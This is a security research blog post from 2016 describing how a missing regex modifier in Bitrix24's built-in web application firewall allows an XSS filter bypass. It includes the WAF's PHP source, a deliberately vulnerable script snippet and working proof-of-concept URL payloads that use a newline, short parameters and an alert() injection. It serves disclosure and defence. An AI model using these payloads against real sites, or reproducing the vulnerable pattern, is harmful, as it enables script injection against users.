Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime


Your data will stay confidential Private and Confidential

Bypassing Bitrix WAF via tiny regexp error

Wednesday, February 3, 2016 By Read Time: 4 min.

Bitrix24 is one of the first and most secure cross-platform corporate software with integrated WAF and RASP. Let's see how we can bypass them.


First Web Application Firewall (WAF) was developed in response to new attacks in early 1990s. The technology has evolved for almost two decades and nowadays WAF is a “must-have” solution for every commercial website. The main goal of WAF is to mitigate possible attack vectors and to protect web applications against common vulnerabilities such as Cross-Site Scripting or SQL injection.

Bitrix Site Manager (Bitrix24) is a popular solution to create secure websites and web applications.

Their content management system (CMS) is developed in respect of almost all common security and secure programming best practices. Moreover, it also contains an additional module called Proactive Security to ensure security of code written by third parties. The module consists of Web Application Firewall (WAF), Web Antivirus, source-code audit functionality, OTP, and other security functions.

According to Gartner’s definition, Bitrix CMS was the first one which implemented a so-called Runtime Application Self-Protection (RASP) technology for web applications.

During one of our recent ImmuniWeb® security assessments, we had a web application running Bitrix Site Manager. The website had a custom code vulnerable to multiple XSS vulnerabilities. However, due to enabled built-in Web Application Firewall (WAF) the vulnerabilities were pretty difficult to exploit. The vulnerable piece of code had the following structure:

  1. <script>
  2.  P1='<?=$_GET['P1']?>'; P2=<?=$_GET['P2']?>; P3=<?=$_GET['P3']?>;
  3. </script>

As you can see from the code, three GET parameters are vulnerable to XSS. However, Bitrix WAF was successfully blocking all our attempts of classic XSS exploitation. Any attempt was triggering the page content filter that analyzes user supplied-input, checks if the input is present inside of executable JavaScript code on the page, and if so – removes the malicious code on-fly (see below). Page content is being dynamically processed in isDangerBody() function:

protected function isDangerBody($body)
{
 if (
self::isFoundInString($body$this->quotedSearches))
 {
  return 
true;
 }
 else if (!empty(
$this->searches))
 {
  
$bodyWithoutQuotes $this->removeQuotedStrings($bodyfalse);
  if (
self::isFoundInString($bodyWithoutQuotes$this->searches))
  {
   return 
true;
  }
 }
 return 
false;
}

The above-mentioned function takes all JS code present on the page as its input parameter. The function blocks malicious JS execution (by replacing it with ‘<!-- deleted by bitrix WAF -->’) if:

a) Any user-supplied parameter, containing single or double quotes, that is integrally present inside of a JavaScript code.

b) Any user-supplied parameter, without single or double quotes, that is integrally present in JavaScript code outside strings (direct JS code injection).

The exception is done for numbers and strings less than 3 characters.

For the second verification, function removeQuotedStrings() is being used in the process of sanitization:

public function removeQuotedStrings($string$isSaveQuotes true)
{
 if(
$isSaveQuotes)
 {
  
$this->quotes = array();
  return 
preg_replace_callback('/(
   "[^"\\\\]*(?:\\\\.[^"\\\\]*)*"
    |
    \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\'
  )/x'
, array($this"pushQuote"), $string);
 }
 else
 {
  return 
preg_replace('/(
   "[^"\\\\]*(?:\\\\.[^"\\\\]*)*"
    |
    \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\'
   )/x'
''$string);
 }
}

This function deletes any string (everything between single or double quotes), keeping only executable JavaScript code. The function processes correctly nested and escaped quotes, as well as some other potential bypass techniques. Here are some examples of how it works:

InputOutput
P1=’str’; P2=11; P3=22;P1=; P2=11; P3=22;
P1=’str\’str’; P2=11; P3=22;P1=; P2=11; P3=22;
P1=’str\’df”df\”str’; P2=11; P3=22”;P1=; P2=11; P3=22”;
P1=’str\Xstr’; P2=11; P3=22”;P1=; P2=11; P3=22”;

However, we have noticed that due to the absence of the ‘/s’ modifier in the regular expression inside of the function, dot symbol (‘.’) will match any symbol, except the new line symbol ‘\n’.

Therefore, If a backslash (‘\’) symbol will be followed by a new line symbol, the string will not be processed at all:

InputOutput
P1='xxx\
'; P2=11; P3=22;
P1='xxx\
'; P2=11; P3=22;

This can be exploited by the following PoC code:

test.php?P1=xxx\%0A%0D&P2=11&P3=33

If we will inject one more single quote, the ‘removeQuotedStrings()’ will return the string without executable JavaScript (instead of executable JS without strings). This allows us to bypass the second part of sanitization handled by ‘isDangerBody()’ function:

InputOutput
P1='xxx\
';CODECODE'; P2=11; P3=22;
P1='xxx\
; P2=11; P3=22;
P1='xxx\
';alert(/ImmuniWeb/)'; P2=11; P3=22;
P1='xxx\
; P2=11; P3=22;

However, the following PoC code will not work:

test.php?P1=xxx\%0A%0D';alert(/ImmuniWeb/);'&P2=11&P3=33

Because P1 parameter contains a single quote, and will be detected and blocked by the first filtration option (see a) above). We have just managed to bypass the second verification, but the first one now triggers and blocks our exploitation attempt.

Nevertheless, in our case we have 2 more HTTP parameters to manipulate. Into the first one, we can inject ‘\n’ symbols and quotes, and executable JavaScript into the second one. Moreover, we can escape the sanitization of any parameter if its length will be less than 3 characters:

InputOutput
P1='\
'; P2=11; P3=22;
P1='\
'; P2=11; P3=22;
P1='\
'; P2=11; P3=';
P1='xxx\
;
P1='\
'; P2=CODECODECODE; P3=';
P1='xxx\
;
P1='\
'; P2=alert(/ImmuniWeb/); P3=';
P1='xxx\
;

As you can see from the table, P2 parameter will successfully escape sanitization if it does not contain a quote. Now we have the following PoC code at our disposal:

test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3='

In order to avoid a syntax error in JavaScript, we just need to add one more quote via the P3 parameter:

test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3=''

Bitrix WAF will not block this exploitation attempt, because P1 and P3 parameters have their length less than 3 symbols, while P2 is not being analyzed at all due to the above-mentioned error in the regular expression.

The PoC will successfully inject the following JS into the HTML body of the vulnerable page:

  1. <script>
  2.  P1='\
  3. '; P2=alert(/ImmuniWeb/); P3='';
  4. </script>

Bingo, we got our XSS pop-up working!

As you can see from this research, even the most sophisticated WAF can be bypassed under certain conditions. Therefore, do not rely entirely on your WAF, make sure that you have implemented other security controls to protect, audit and monitor your web applications.


High-Tech Bridge Security Research Team regularly writes about web and mobile application security, privacy, Machine Learning and AI.

User Comments
Add Comment
1 responses to "Bypassing Bitrix WAF via tiny regexp error"
Waratek 2016-02-18 18:25:31 UTC Comment this
Very good article. This shows really well the inherent limitations of using
regex as a code-injection detection technique. All WAFs use regex (as
does Bitrix CMS), but the newer non-heuristic RASP products never use
regex for code-injection detection so they are not susceptible to the kind of
bypasses as described here.
↑ Back to Top

Quick Start
Solutions
Get a Demo
Newsletter